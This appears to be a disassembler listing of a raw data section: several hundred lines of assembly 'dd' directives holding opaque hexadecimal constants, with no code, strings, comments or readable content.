		dd 349E9351h, 9FC8FAh, 7B79E4E3h, 1238CB26h, 2AD97A00h
		dd 0E91E2BF5h, 0CD1A0ED2h, 0D4478329h, 0A52ED207h, 346D32C0h
		dd 4BE4DE00h, 0E578B0C7h, 0FE30009Dh, 16ECB8C5h, 0C8EAAFF6h
		dd 7880EE30h, 0A1F53Dh,	0DD2567CFh, 0B7B6B3A4h,	11B80549h
		dd 0CC02AAEFh, 141E5904h, 0E00CFE3h, 5A6DB957h,	619421h
		dd 0B77F8D76h, 3A5E7B88h, 25D1CA00h, 0D08C535h,	74E100A9h
		dd 0A350F0D8h, 210768B6h, 0FEB7C6EBh, 1C36F3h, 80069D71h
		dd 0A824F4F6h, 0DA4F93Ah, 207AB5C4h, 5FF1CCEDh,	1898FDF0h
		dd 180C7FC0h, 54CE5E2h,	7CBB07F7h, 92408F65h, 9FF017h
		dd 0EA6622A6h, 6E414798h, 4CEEC600h, 7646D8E2h,	13EB008Fh
		dd 0EB4C781h, 0EF71EC91h, 839E111Eh, 4C399FC1h,	108162C9h
		dd 17A4157Bh, 9868E48Fh, 0C7C7CFAh, 8E9F2105h, 48012005h
		dd 800D9DC9h, 0A11BB180h, 9F91AD37h, 44AB6803h,	0A0459FCh
		dd 249B0CF0h, 0F87C201Ch, 28AAF6C8h, 145CE1h, 0E7B698E3h
		dd 0B30D8E16h, 0A4145800h, 62E23CA6h, 6C190E5Bh, 56C07AF3h
		dd 219DDA03h, 3001BEF6h, 1880C4F6h, 87DCCF02h, 24781E82h
		dd 6CB2001Fh, 6F3E558h,	0AF4CE200h, 3CE4F4FDh, 3BE8CDh
		dd 0EEDD0F48h, 9213F20Dh, 0E604F57Ah, 1F1977EFh, 415E5FC0h
		dd 0B075E3h, 0CAEEA7DBh, 4C623F11h, 0A421E500h,	315CFE94h
		dd 4B0F0AEBh, 80F4AD54h, 80665079h, 9E0025EDh, 55144D46h
		dd 14A3F15h, 1DBC9FC5h,	2AF424A8h, 7892F480h, 84CC00C8h
		dd 8FC1B7FBh, 0D648CEC3h, 23B201D4h, 7B0B76F0h,	16CCA450h
		dd 0C89CA855h, 75F7FD0h, 0C196BF50h, 0E9550B3h,	450EDDE7h
		dd 20C91E31h, 0A999ADD8h, 0FA081F8Eh, 0A2B4F37h, 0F048D6C0h
		dd 1B074FFCh, 9B1A98CEh, 0D5308347h, 0C037548Ch, 3810C1D1h
		dd 0B600E0D8h, 93A80EA4h, 3CFAFCC3h, 1C030358h,	180D9B5Ah
		dd 50173128h, 7E01EEEAh, 91FE24CAh, 29D50520h, 16D2CE8h
		dd 5097CDDFh, 800316F1h, 0DC336831h, 39F434h, 0E9F1AFEh
		dd 0E1626C6Eh, 82488B1Eh, 1194360Ch, 2B831E79h,	0CC9B80A8h
		dd 0CB16877Fh, 859A8E1Eh, 0DD317E00h, 6DA3A9h, 0BDA0A1Fh
		dd 617065CAh, 2D066E7Dh, 0F081FAB7h, 0B8F32E19h, 0B4803F6Ah
		dd 99E56746h, 0AE8C368h, 92CFCA1Dh, 4011128Eh, 6E8A72F7h
		dd 659006B5h, 18EE2002h, 676B0F01h, 64E85E7Dh, 8AE003FDh
		dd 0F255789Dh, 0E08B0BD5h, 5C83600Ah, 93B01065h, 0F39818Fh
		dd 5BEF07C7h, 3823266Eh, 4E65D0F6h, 2872606Bh, 5E0E7F91h
		dd 32F718C1h, 0CA000D64h, 7BFA31B0h, 6884EA30h,	4892F6h
		dd 9121D37h, 0C02E9BFh,	5A03060h, 0FE7F66A0h, 0A881C0ECh
		dd 0F7834E8Fh, 633C0F03h, 0C3F27D6h, 9D9A7E58h,	807F918h
		dd 0B7883EA0h, 0C00E35C3h, 6257CFh, 65156EB4h, 9174F749h
		dd 10A44C50h, 0A87B1D3Fh, 2608489Ah, 8477FB90h,	17642Ah
		dd 7682D58Bh, 80CA1D36h, 7E6E82B8h, 749E20E6h, 0C39A6221h
		dd 6B802C03h, 2D07A30Eh, 0DF92EAE8h, 9386CC3Ah,	0FA18A947h
		dd 0D83054E2h, 6E8BF803h, 0E5835094h, 7186F2DCh, 4243C500h
		dd 5721EA01h, 0F9E24CC6h, 8F84974h, 763CA300h, 7040953Fh
		dd 983ACB00h, 228FD505h, 0C09CA09Bh, 0B788A07Dh, 62E30537h
		dd 42CBB47Ch, 3A9ECFBCh
		dd 0B8EFB0A0h, 20C00297h, 0E3206575h, 0EA29C5C7h, 6F9D805Dh
		dd 8533B241h, 71D8094Ch, 51B50F21h, 0E206A05Dh,	641DD914h
		dd 0B698B2CAh, 38072A71h, 2E035EC0h, 68B11E1h, 21980830h
		dd 6C03F4Bh, 7FC64F4Dh,	640CB868h, 500F7CE2h, 98A001Dh
		dd 0B74489C1h, 0FF00AD6Bh, 3A05DB99h, 0EF1391h,	0F89C6F46h
		dd 443D5DD8h, 2B5A0D1Eh, 5C7FFD80h, 0F29B91BFh,	69144CA3h
		dd 0FA6CDE03h, 0B0A802CFh, 340083CBh, 5D83A69h,	68216Ah
		dd 65A4F42h, 0A6BCAEB5h, 0BAC99800h, 92F02A36h,	0EF2900E1h
		dd 5BFF860Ah, 380012E9h, 8D8E9A95h, 0EF09CC8h, 0D2075347h
		dd 2354B381h, 1C6805Bh,	0D9E062Ah, 0AE8F248Eh, 0DB670E1Ah
		dd 0F16A1540h, 0B0FB0CCh, 8056AA9Dh, 24ABFE29h,	60060007h
		dd 88BD0DD6h, 0A700820Ah, 0FDF1C2D9h, 0D8FBD1h,	0DAC38B80h
		dd 0E868AB35h, 3067BD34h, 22060460h, 0AF10CF26h, 0E628CAh
		dd 5EF7890h, 0A00C5C9h,	6FF2BACh, 65515E6h, 0B3F5AFA0h
		dd 0DC222840h, 11AD42E0h, 0B43916BAh, 1084C0C4h, 212AF2EEh
		dd 0B55708BEh, 7584C490h, 3CF24AF7h, 0A125110Ch, 8C14A128h
		dd 8E762842h, 902B0814h, 0F32E840Ch, 3F804A48h,	0C3EA675Eh
		dd 0C9F600A3h, 0AEF75634h, 310F1FD5h, 0C01AAD06h, 3B1DCEB3h
		dd 0BB3A0091h, 226748A3h, 8B0023ECh, 429AC0D7h,	4C6044h
		dd 798BE01h, 0A0E53DD6h, 2A74A800h, 0C9B282BBh,	0BAA10059h
		dd 265EF9E9h, 7E00988Ah, 2A38AA9Eh, 11468C0h, 64373378h
		dd 0E8B17F0Eh, 0C4004619h, 364379CBh, 0F2E0C103h, 75E80037h
		dd 5746F34h, 0C00C5B1h,	393BC029h, 7EA18Fh, 4126EB8Ch
		dd 202AD2CFh, 52632B0Fh, 80AE0B67h, 0A33C3DE2h,	5573005Eh
		dd 0B97A365Ah, 8D0008A5h, 0E46B04C1h, 7875728h,	25EBDBD8h
		dd 18CE4043h, 7375F0D6h, 0FE97AE01h, 7E6329EEh,	1F20BE4h
		dd 0FD13882Fh, 206DEACDh, 81008A2Ch, 9A6A9B9Dh,	0F6E92A6h
		dd 19EEBE04h, 13C776E0h, 3F002D8Ah, 8D18FDEFh, 18F6659Ch
		dd 0C0BB8BA0h, 221A6815h, 4060958Ah, 11033F2h, 5EE17B04h
		dd 2407B411h, 0D9EE4B64h, 0E0B3EB00h, 6252FD2Bh, 0DCD3059Eh
		dd 8719F61Bh, 7A9D83C9h, 0C6491EC8h, 3C7DDF05h,	0D0300C6Ah
		dd 62D1A45Ch, 46F77010h, 0D57198C0h, 0E6A2FB02h, 807BBEEBh
		dd 0CD1969C8h, 85750030h, 0C8E52627h, 0C2F05E83h, 0DC58646Eh
		dd 2A97A500h, 7CE8B2EBh, 0E9221E39h, 5B95C0D5h,	0D0CF1162h
		dd 23667001h, 0A633B828h, 8781B13Eh, 2D45A240h,	16637B40h
		dd 0AEF60024h, 0BF4BD007h, 0C2EA9EB0h, 322F6F00h, 58BD9428h
		dd 36590085h, 0F82B3EF0h, 0AB7F1E93h, 5EC91A00h, 19DFA737h
		dd 0AFCF00CCh, 0DE687CB9h, 28079FEAh, 0E180F9ADh, 9DFFE2B0h
		dd 120D04D7h, 0C0627463h, 42E35B10h, 50FF394Ch,	0B500EA55h
		dd 269B27B3h, 60E3D6Fh,	0A1FF2905h, 0D63E48FBh,	0CCE680F9h
		dd 0D3BA9645h, 722B009Ah, 0CE36713Bh, 9B0F607Fh, 8E7E84D4h
		dd 404900BBh, 0FB77ECh,	3561B61Dh, 0B716A902h, 0E3FE204h
		dd 897B1A1h, 439BA03Fh,	9ACCD97h, 0AA0BC0F3h, 0FCA0600Eh
		dd 75D3A804h, 2694803h,	985DBA97h, 9B7718h, 0ECA0F0CDh
		dd 0D87BCA47h, 570C3403h, 2A63933h, 0FFDBBC40h,	28482D9Ah
		dd 0DE1CC6B1h, 0DF1224B7h, 8A70F000h, 728E2C02h, 858303EDh
		dd 0F248B6Ah, 0C99D2EC8h, 161CA812h, 806E1009h,	0EE04250Ah
		dd 0B3700C8h, 50AB97D8h, 22074B72h, 0FB2987E6h,	69C0E530h
		dd 1CAD00EFh, 53F63602h, 0BB00D40Bh, 6BFCD63Bh,	507A5B28h
		dd 38F8A5h, 64E22698h, 68092A3Eh, 0E849F600h, 0B83DC6F1h
		dd 7C6A0FB9h, 72604188h, 0B0298436h, 3E80EC00h,	0F7B89069h
		dd 99BF079Ah, 408B9152h, 231B0197h, 253CDD00h, 6FA09B70h
		dd 0D21D0016h, 1ABEB2D4h, 14B0F2E0h, 0FF233Bh, 0E9D7924Dh
		dd 1F1B6B48h, 0C0401114h, 6A5D195Ch, 0A407AE2Bh, 0C0CD92C4h
		dd 7772B311h, 3477EC8h,	0E5362DAFh, 94B80935h, 59008BDAh
		dd 9552CA7Ah, 7D55C0F5h, 9EF0076h, 9C08E4A7h, 0C4382887h
		dd 865307DDh, 0C8A53915h, 44650CC0h, 0AF3092Dh,	0C8056D38h
		dd 0A6A440F6h, 7E40DE23h, 1DE33C00h, 27362ABh, 541100DDh
		dd 7A832F49h, 21041867h, 0C3F886F0h, 925968D6h,	77F268h
		dd 46CD6FFDh, 0E195BD9Fh, 5316FBFAh, 9C40919Ch,	5877EF2Bh
		dd 0A614090Fh, 205905h,	79212464h, 86D61500h, 47732C2h
		dd 0E87B4DEAh, 0AD038207h, 82B9849Bh, 948EEE6Ch, 0E0A29AA7h
		dd 63539FC5h, 69E7E602h, 60926580h, 602D8F91h, 0C2AF786Fh
		dd 70988453h, 7D941403h, 838186h, 6646FB10h, 923888C5h
		dd 0B800557Eh, 0E79F3E84h, 12306A1Bh, 29D98C9h,	0A9804C78h
		dd 5A3D4840h, 201DFD09h, 54B0538h, 2EC31480h, 44D712EBh
		dd 0FA8D0036h, 259CE6E9h, 0A3AB8704h, 10D03F32h, 24602136h
		dd 915A43h, 6AFA824Fh, 70075E6h, 1D3D4283h, 9378485h, 8FBC5C87h
		dd 0FAB53480h, 0D307FFA6h, 0B0A445AAh, 0BB92F840h, 42FD007Eh
		dd 0B6A6219h, 0C900A15Fh, 0BE68C405h, 9CADABh, 0F266CA74h
		dd 0EFE62109h, 2875000h, 4F17EB9Dh, 63ECD5h, 74CBA5EEh
		dd 2642762Dh, 1843C58h,	4E66538Bh, 10803A83h, 0D9505B06h
		dd 0CB0E0745h, 0EB2686ABh, 6890A1C1h, 0DC483995h, 703FB831h
		dd 2BAA3EA0h, 0A4F612h,	0A5BC5A34h, 890EDF9h, 53121901h
		dd 0FAB34610h, 0B413A080h, 0A943A68Ch, 22003898h, 6A3E6DA1h
		dd 0C0B024h, 0DB8AB91Eh, 0AFA51934h, 21033090h,	0B0C3488Eh
		dd 0EC58B80Fh, 86BD03C1h, 46B664FCh, 8D59D0C0h,	0F400D7ECh
		dd 0A71452ABh, 0E434984h, 0BBBF709Fh, 280017ABh, 64A12553h
		dd 132F0A1Dh, 0AA3051C0h, 0F83F85h, 0F3DCAD33h,	429F70EEh
		dd 21E8D900h, 0E4C7A4BFh, 0C14B00F4h, 13DE9681h, 9A1C3F24h
		dd 4DC56452h, 3480CA66h, 2FFBC8h, 577DF60Ch, 0CB916DA4h
		dd 75323E00h, 0DB870779h, 967790h, 0F241DCF9h, 0FC81D966h
		dd 5BBF230Ch, 3D6309Fh,	0CEA860CAh, 3FC8B553h, 0C100353Ch
		dd 108A1AE2h, 1D3CD7Dh,	0A52A4A02h, 0E00F41B8h,	64769925h
		dd 0E6F22100h, 70E1DD77h, 36B10033h, 9AFB886h, 1E008F19h
		dd 431322A6h, 17A958h, 0ED6B2B54h, 8CF34E51h, 0FD2CD416h
		dd 0A89EE440h, 377B05Fh, 7284213Ah, 2BD0799Fh, 6010E2Ah
		dd 44E8A290h, 6420B157h, 7CE6053Ah, 90AFF6FFh, 3669A46Ch
		dd 126D3200h, 0C494584Dh, 0B21500BEh, 64779E07h, 0A7027459h
		dd 0EDF24F88h, 82736050h, 528A0523h, 80E6DA1Dh,	0FDB75698h
		dd 0A1038498h, 0AFF0C3FFh, 0C4A2F9F3h, 7572C20h, 6DE5E9A3h
		dd 7EEB3152h, 0E4047003h, 56008690h, 5585F32Bh,	8F79A2h
		dd 0DDBBF939h, 0C370B4D0h, 229EEB00h, 36194105h, 663A00DAh
		dd 65EDC92Dh, 0F34C8C4Fh, 1DBC0B44h, 5BC0840Fh,	137BE880h
		dd 0D68200DCh, 42BE4168h, 0CE2F0B5h, 0DBC02700h, 66588435h
		dd 0AA70ED33h, 0B0E80791h, 0C08BC88Fh, 6EE783F6h, 552C9EECh
		dd 4AB8B847h, 88F20820h, 0C5E41E4Ch, 6DCE073Dh,	0F0BFA6F8h
		dd 0EE762A00h, 0C5229958h, 0C195010Ch, 0A6C83A3h, 379CD8F8h
		dd 989648h, 0AE401AB5h,	6BF6F65h, 5CCA73A7h, 12E706Ch
		dd 0C88E38EFh, 0F200DEB1h, 9C4F11C9h, 19A0A021h, 42DA1239h
		dd 69680A7Ah, 643D0084h, 0A2FBDFEh, 7705D002h, 0E80ED952h
		dd 3B94710h, 41FA9039h,	66A2ED71h, 0E5BB2063h, 0DA1140EFh
		dd 0C20036ECh
		dd 192480B6h, 73E6CEh, 0FC2C060Fh, 3063F9DEh, 7E58F7FAh
		dd 876A00C4h, 0FD4835CAh, 0AC19006Bh, 0C0E4DC91h, 63003BBEh
		dd 57AE085Ch, 120C48EBh, 4A6CB1h, 3AFB9CA8h, 84A09D6Ah
		dd 0CE00E481h, 6DD2CCAAh, 39F62B17h, 2700BA0Dh,	3E681491h
		dd 0E100E5D3h, 0BBEEA70Eh, 0AB2025h, 0F66733B1h, 0AECAF3A2h
		dd 0BC0046F2h, 906FB6D9h, 0D8C981h, 879D9480h, 0E135E965h
		dd 1D98A200h, 0EE17F21Ch, 0C5060140h, 2DCA33F0h, 7513DC82h
		dd 0ACDAFD01h, 77FE8964h, 0E7DD6865h, 247DC848h, 37379Eh
		dd 79608F75h, 0E6E457AFh, 88221101h, 0FF6D72CFh, 69F4806Ah
		dd 0EA01BDC2h, 8CCA1078h, 0D8800C54h, 0E71D53Bh, 31024614h
		dd 6ECC1A90h, 984CE12Bh, 340ADCCh, 78F022A7h, 0F2D09921h
		dd 270E8CFFh, 0F1FD57h,	8D81CA1Fh, 77610E1Ch, 0B70039FEh
		dd 0E12D3389h, 9A140300h, 0D4E62FCEh, 52D818ADh, 4D2A2015h
		dd 50716C00h, 963084F2h, 385570ACh, 83B1BBD1h, 0CC16289Eh
		dd 9D002249h, 0BE5A84A8h, 60121E72h, 857DF255h,	9400B22Ch
		dd 0D1C3341Ah, 1CEE4A92h, 0C0CB4517h, 31D8F41h,	0EF00C4DFh
		dd 4C601196h, 7E1FEDh, 2D9A7B88h, 0B7318D0Eh, 0AFC63F01h
		dd 252A6790h, 4DE893D5h, 550B07D0h, 99BE476Ah, 0D7023B7Ch
		dd 6C7D5EC7h, 8EA1001Ch, 70419635h, 4B0058ECh, 11AEF61Ch
		dd 0B8D81502h, 0E97800B7h, 8D69F9E8h, 53B05CA9h, 204CB400h
		dd 9862BCF3h, 0B3BB00D9h, 0EC19A601h, 9A00C366h, 0B5C6E035h
		dd 0C3FA8h, 7A5C59A0h, 266555D3h, 702D6302h, 0C883E73Ch
		dd 1F4838C4h, 0C99B1E6Dh, 7C18AA78h, 201C35A0h,	138195BFh
		dd 90DE8B8Dh, 8EC4AFE5h, 22120460h, 80A8CC7Ah, 6FD4E888h
		dd 0F48A9824h, 51003012h, 776C4481h, 13700372h,	0A6E2A1ECh
		dd 0D66570DFh, 0D400BB0Bh, 958D6450h, 13F9C534h, 2E962Dh
		dd 29A80354h, 8407690Ah, 3938A93Fh, 26EA7040h, 0E1F73CD8h
		dd 345F2Eh, 9B46A8C7h, 4302A369h, 0F9B272EBh, 4FD4405Dh
		dd 0F4EC0CF1h, 0C3D9561Fh, 0D6196800h, 0A8598217h, 0B0180039h
		dd 8B83E5Fh, 79008D3Ch,	76CC8E38h, 76FD94F7h, 693F00A4h
		dd 46634AE4h, 81004CAAh, 3D1260Ch, 39233313h, 0AF0079DDh
		dd 3EA3175Bh, 7D1C0840h, 78895F41h, 47DCC0E3h, 45773EECh
		dd 0A5A71E80h, 0BE3C3D71h, 5A48CE1Ch, 0D0505647h, 620880B9h
		dd 0F23460h, 84E9C33Bh,	12CE3A08h, 5B14AC07h, 46306ABDh
		dd 2D9F0F5h, 263D21FFh,	0FC687804h, 7238A23Bh, 0A6E90208h
		dd 79FC3339h, 83FB0804h, 0B223853Bh, 84809B78h,	20B337Eh
		dd 35ABD8B9h, 0B061D002h, 706FECD6h, 8021BD3Eh,	49BEB839h
		dd 2CE5C164h, 6B6C56h, 0D49F908Eh, 3C4804E6h, 21380030h
		dd 0B7131767h, 8B4F4840h, 0D2B96600h, 23D98A25h, 0E2CA7A00h
		dd 0C0724E3h, 95E50011h, 0ACBF4EA0h, 0C9F299DEh, 2E36CB00h
		dd 610901DFh, 5878B863h, 574C5C95h, 715C4Ch, 0CB8B38CAh
		dd 81062D32h, 2109D00h,	74E180F5h, 567E07E6h, 0B925413Ch
		dd 88756300h, 12007377h, 8C6A32A0h, 26738AFh, 0EA3A8B24h
		dd 0CDC0F915h, 702DE1Ch, 0BEC7FB64h, 3A6FE0DFh,	998100C4h
		dd 199ECCD8h, 24003268h, 5E822892h, 140BA47Ch, 9CBBE158h
		dd 0D15B1F00h, 0E5BC1652h, 0D70507FCh, 371EDC0h, 7A34A0h
		dd 0D220124Fh, 0DBCCD046h, 837D5F00h, 9B449A71h, 70526F29h
		dd 0C6207720h, 9CA05637h, 605A5EB6h, 0D3479002h, 0FB90C03Ah
		dd 0EA173ACFh, 400091C0h, 4F62B769h, 7B938CD8h,	0E9CF00A6h
		dd 5F45A5BEh, 4C131B7Ch, 0CC01AA4Eh, 2B0EE854h,	5DC4D7F1h
		dd 8CB804E5h, 0C01CC9FDh, 89901416h, 6C1690B0h,	0C903E78h
		dd 767CDA9h, 7A7D70A4h,	82D850F4h, 4B24625Ch, 86036089h
		dd 989A7F98h, 1E757CF1h, 0FC364Ch, 4B997E85h, 0F00C7DEBh
		dd 0CE249E43h, 0A0F0EEh, 8DFED592h, 7C34B41Ah, 9FC7E20Fh
		dd 7E3AE1BBh, 603498B1h, 0AEEC29h, 804DEF77h, 6FBA99FDh
		dd 0B20F8D03h, 0D8259382h, 7F42128Bh, 95F70939h, 6C8F86D0h
		dd 0B7D879A0h, 8F05A761h, 6B4EC1F0h, 59ABFC00h,	2F9A16h
		dd 0B95C83CCh, 0F5F4BFFFh, 1131FE00h, 90512CFh,	683B013Dh
		dd 0A0797791h, 0F4A8D9CBh, 0B000D0CEh, 472BC03Ch, 0C120E0h
		dd 0C4537AADh, 2642A11Ch, 1EFFEA1Eh, 0D06E80DEh, 40F0EE0Fh
		dd 53221ABh, 60BE1F52h,	96D0C04Ah, 0A43F23DBh, 70906779h
		dd 7043A5Ch, 0F07882AAh, 0CF344FA0h, 6E33006Ah,	0F74D1371h
		dd 4E585B2Fh, 0F9E31434h, 48790094h, 37CAAF91h,	9BA41E04h
		dd 52A7814Eh, 387DAD83h, 0A6610028h, 2C18C982h,	230600EFh
		dd 756EBFB7h, 400A03Dh,	0FB246115h, 5C782C1Eh, 0F403E002h
		dd 36DC26B4h, 56D66800h, 7B98D8Fh, 619F2697h, 5E76403Ch
		dd 4E1E8A77h, 0F0C0EE0Eh, 27898811h, 2B8B004h, 0BF981DB7h
		dd 32E03249h, 75485147h, 8DFA0078h, 7B64A618h, 0ED04071Eh
		dd 0FF73F007h, 9C945880h, 0E6006350h, 1C1B6A28h, 46FD0B0h
		dd 4EC05A4Ch, 9618F47Ch, 0EE2A7D00h, 74880187h,	0BFC0C152h
		dd 201DD41Ah, 9B98544Ch, 0C9090379h, 807797A9h,	0B2A63342h
		dd 0AAB00050h, 0FFD14174h, 772FC75h, 0E43A4D24h, 98C9060Ch
		dd 5FD91D97h, 27B800A2h, 14C4BD83h, 0A0528D00h,	90AA671Eh
		dd 133B00D9h, 948406E8h, 9F00CEB5h, 5E65E776h, 9814B74h
		dd 0AB70F3D7h, 6AAEAC40h, 41EC5800h, 0DFF20750h, 0CF8C0038h
		dd 196C466h, 9F0013C0h,	0D2F9DB1Ah, 40B75FAh, 0BC6857CDh
		dd 0A2E6C043h, 7C178199h, 0DD00665Eh, 36718D03h, 3CEC1E82h
		dd 0B8026796h, 78788880h, 6610DB0Bh, 1DD48018h,	1176B71h
		dd 2396CB29h, 0CC2CD457h, 0A2000A4Bh, 6EE8E04Ah, 1293261Bh
		dd 0B012DFh, 0CDBE4251h, 27130ED9h, 3C04E537h, 7E809276h
		dd 1211CBD2h, 7D5E662h,	0BFA6F7E4h, 0E4B1AE0h, 14BE8CA1h
		dd 3ACA678Ch, 6BDB00A2h, 7FA4D576h, 0EB1F2362h,	0D4CB6F21h
		dd 0E840039Ch, 0A88CB832h, 660600E7h, 0E5D6D13Ch, 340057ADh
		dd 5ABBD5CBh, 0F2840552h, 26F91D70h, 0F45500BAh, 0AD71B961h
		dd 0AEB2DC00h, 75B83097h, 0BF2100E5h, 5E3CEAF6h, 0ED01AD9Ch
		dd 13AEC139h, 84CC10A3h, 0F2E33D54h, 73A18002h,	0C4E0DBEFh
		dd 0C89885D0h, 0F3AFC800h, 0AD3ADD28h, 3F2A0218h, 889C7C52h
		dd 0D670E068h, 0E7B9FC1Eh, 7BEFCF87h, 0C9807404h, 1697Eh
		dd 0B6E63C75h, 306368DAh, 0D3002CBEh, 0CF33ECF5h, 2686284Fh
		dd 488892ECh, 0B000B86Dh, 3F4D9EB6h, 14010365h,	0C87A47B1h
		dd 0F440A592h, 0F3E907EEh, 8318C03Ch, 268FC01Eh, 4DCC6238h
		dd 0F54C2CDCh, 8C41A51Eh, 4333285Ah, 454AA12Bh,	0F403EB9Ch
		dd 0AAFFAFh, 15C65410h,	0F559585Dh, 0A1138614h,	0F6110B9Ch
		dd 654CA53Bh, 0DA0028F3h, 2D21DC50h, 0FA00DFC8h, 190FD1AAh
		dd 1AEF1CAh, 69717DBAh,	81318022h, 3EB5DCA8h, 0BED4D078h
		dd 1BAD0039h, 18E410A5h, 2760196Eh, 0B22C7AF0h,	4DD30045h
		dd 0EA152D48h, 4F00B4BAh, 316BDF5Fh, 0A37A36Ah,	1D2F270Ch
		dd 349400B0h, 83A7DA6Eh, 0B449E000h, 0D61944AFh, 8E70012Dh
		dd 244E9486h, 0B1BE874h, 0A43C4605h, 0CC00644Dh, 0BDE9333Bh
		dd 0F0B300B9h, 8C3ACAFEh, 860080EBh, 0A0F365A2h, 2FE2E4h
		dd 0CF66D8ECh, 37D4D2F7h, 0F4678916h, 0F3274C80h, 1E593E1Ch
		dd 72ECED85h, 7B14D20Fh, 3792C0E8h, 3898BA04h, 0A0F0D85Eh
		dd 14BA46h, 2B8193EBh
		dd 90FBD189h, 0FDEE909h, 8EA08122h, 4787856h, 0A3B77000h
		dd 0B59801A9h, 3EFAE11Eh, 614FC3C0h, 0FD09AF03h, 0C0F5D887h
		dd 0A8730E0h, 57770EF7h, 0A1F3F100h, 35548839h,	26B1907Dh
		dd 24E3292h, 17CC6C77h,	0C363246Ah, 51D8ADC0h, 0AEE4F270h
		dd 0B59C900h, 0D60C612Ch, 9811C0Eh, 1C87EF8Bh, 2029FBF6h
		dd 70078489h, 1C509293h, 0E7FA14FAh, 0F987AD05h, 30C010DAh
		dd 92D941ACh, 8E520B08h, 0E440AE9Ah, 4E1275E4h,	1C030E77h
		dd 8765F121h, 0A1FB8D90h, 0DAD4A0AFh, 22320097h, 0C4BB707h
		dd 9E003831h, 84CD5371h, 17C3B0h, 0CB8A0477h, 0E9B9B461h
		dd 4740B30Bh, 7208036h,	580217h, 4F0AA8FDh, 8DBF9B9h, 0B003B74h
		dd 3DE1D2EEh, 0EA2CCDh,	1E2BF817h, 0A07FF172h, 26A2E812h
		dd 0CB93000h, 1E578EBCh, 807112D5h, 6E089C75h, 390059A6h
		dd 858FB323h, 50663Dh, 0AEC60F93h, 0C72A6F7Eh, 2E90E404h
		dd 28804079h, 5469D301h, 0BE5FA43Bh, 25788124h,	0C0974A64h
		dd 0C100B1ADh, 39793528h, 60D3B7h, 8C900691h, 433D049Ah
		dd 35F3300h, 4114EB5Bh,	9B5D025Ah, 4DC58661h, 1E762840h
		dd 47A044h, 98266F7Bh, 0D52485A7h, 3526F898h, 4800701Ah
		dd 95091E43h, 0B17D0033h, 0F43D19EBh, 3500A20Dh, 2CB3257Ah
		dd 4CF5CD04h, 7602C036h, 80BD02FCh, 772B3040h, 0E01A8300h
		dd 0E5AE1B18h, 0E264B081h, 0C94F0714h, 6004BF23h, 38DC1260h
		dd 0D5A13D04h, 0ACDD1551h, 781F7AFCh, 30330286h, 4D3F84D9h
		dd 2ABD10C0h, 61C6BF07h, 8350A3E6h, 7D0B367h, 0F1309FC5h
		dd 688FC173h, 0D02834h,	649AB070h, 0E2259Ch, 300C6BADh
		dd 1F2F4B44h, 0F2AB9F00h, 0A3EE0AE4h, 0B1FD0370h, 0A5F8BB15h
		dd 55C4DFD0h, 74BEF5EEh, 420EE403h, 0DD10804Fh,	24020046h
		dd 89E9DF11h, 3F0926EEh, 506335Eh, 5895D749h, 11CFE480h
		dd 0D6AF0BE3h, 52838A2Ch, 0EDD84E28h, 0BF00B165h, 0C329680Bh
		dd 3048BE09h, 2071B934h, 6000D251h, 0F06B93FCh,	0F8D7B30Bh
		dd 32631D26h, 0D30F09DDh, 0E6D61841h, 8B3C1C80h, 753DA133h
		dd 55C38043h, 1F211C09h, 538816BEh, 519100B9h, 8B48E58Fh
		dd 7011D500h, 44EF4185h, 4B91384Fh, 0A1BFE380h,	83A07148h
		dd 0F828B800h, 0A84462A6h, 69570024h, 21B35492h, 0A003109h
		dd 0D24B2019h, 38DE3FC4h, 9693C76Ah, 882400B8h,	0B5FB770Dh
		dd 0F5E54800h, 0C88669CBh, 0B38C034h, 798E9032h, 0ECBDE1C0h
		dd 7D3CF930h, 0A3A1315Bh, 802FBCC8h, 797B4660h,	1DA4686Eh
		dd 80DF287Ah, 308E2EE1h, 0F47B7060h, 6F00F6E0h,	6AACE5C2h
		dd 24D193h, 679D2E7Fh, 1774DF56h, 9EAF8D13h, 0D8D27401h
		dd 0D7EC1B25h, 0E37500DCh, 45F67D3Ah, 5C00BD82h, 0B316A740h
		dd 0DDBFF4h, 1E42233h, 0B2ADD35Dh, 0EC002A7Eh, 6928D2CFh
		dd 0EC1FA934h, 54810027h, 0B6AFC44Eh, 8E014AB1h, 0CCC31276h
		dd 0A3D8FEBEh, 6A550014h, 0D93405B0h, 1300D047h, 194B7473h
		dd 7CBCBAC5h, 0FAC6903Ch, 2C0F3FFAh, 0DE2B0B00h, 0B8212204h
		dd 0BD903Dh, 9DB05BEh, 252310ABh, 44074E46h, 0EDE96F8Ch
		dd 4E878D1h, 9C085278h,	615D0E4Ch, 0E5556305h, 515C40D4h
		dd 8300CAC5h, 0E0271B3Eh, 9AF50AEAh, 3A131770h,	0B9AC4037h
		dd 0D92964A2h, 974F0D05h, 58C590C8h, 0C4704080h, 30125C8Ah
		dd 2E5C0CC2h, 4C9AFCF0h, 99F8560Eh, 875083AAh, 501882E5h
		dd 0CE930078h, 0BBFA3C9Fh, 0F4F9944Fh, 6000C521h, 234785C6h
		dd 2D03BFEh, 0C4241767h, 0F4E82DBAh, 0BD3CA2F7h, 68B0026Bh
		dd 0E0CD112Eh, 46D4DCh,	34E8049Fh, 9A7B257Ch, 48A00709h
		dd 97D840DDh, 5A230C0Fh, 24A11FF9h, 37645D00h, 0DC6CF0E6h
		dd 126EF6C8h, 1085B82h,	8A5AD645h, 50C7C938h, 0A1EC19B0h
		dd 88A9C901h, 37F6455Eh, 0A260E5CDh, 3F2A0561h,	85CA8CC5h
		dd 946CF084h, 0EE373Ch,	2E203D35h, 26C7E3h, 0C021B138h
		dd 6AC877A2h, 0E0F5DCABh, 0A300B2B0h, 982D6247h, 729CB52Bh
		dd 32E3C45h, 0A84E3100h, 0CCF12517h, 73021A3Ah,	50685B00h
		dd 0CF1ED0ABh, 0B4A05466h, 0D8A63D1Bh, 43770780h, 18F57661h
		dd 0CE0AF400h, 0E85F6F81h, 0AFDF0A31h, 0A70C22h, 0E3C0B3F0h
		dd 5894D625h, 44655700h, 0CA6337h, 940E4FB6h, 0F2E67A7Bh
		dd 473EBC01h, 0F8C1061h, 6B17E462h, 269900DCh, 6FEA71D5h
		dd 7ED42800h, 70EC8572h, 0FC7512E6h, 0A714F0ADh, 0DAA8EE01h
		dd 3E23FBF4h, 50486FC0h, 0B23AB80Eh, 0DBD3007Ch, 7ACD634h
		dd 0DE07A19Eh, 26AE8EE1h, 0BEC8FBF0h, 0F789003Dh, 7E14AA74h
		dd 0F501CF11h, 0D52EE01h, 5C3C2A90h, 0B8F9FC44h, 6B250599h
